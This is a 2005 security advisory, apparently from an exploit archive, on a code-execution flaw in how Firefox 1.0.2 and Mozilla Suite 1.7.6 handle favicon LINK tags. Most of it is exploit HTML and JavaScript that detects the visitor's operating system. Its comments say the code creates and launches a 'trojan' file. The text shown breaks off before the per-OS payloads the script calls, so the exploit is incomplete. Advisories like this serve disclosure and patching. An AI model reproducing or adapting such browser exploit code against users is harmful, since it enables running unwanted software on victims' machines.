Mozilla Suite and Firefox "favicons" LINK Code Execution (Exploit)
18 Apr. 2005
Summary
Firefox and the Mozilla Suite support custom "favicons" through the <LINK rel="icon"> tag. If a link tag is added to the page programmatically and a JavaScript: url is used, then script will run with elevated privileges and could run or install malicious software.
Vulnerable Systems:
* Firefox version 1.0.2 and prior
* Mozilla Suite version 1.7.6 and prior
Immune Systems:
* Firefox version 1.0.3 or newer
* Mozilla Suite version 1.7.7 or newer
Exploit:
// If a user clicks on a link, this code will create and launch the file c:\trojan.bat (on Windows).
// On Linux and Mac OS X this code will create the file ~/trojan or /trojan
< html>
< head>
< link rel="SHORTCUT ICON" href="favicon.ico">
< script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML +=
document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>
< div id="outhtml" style="display:none"></div>
< textarea id="clearhtml" style="display:none">
< link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>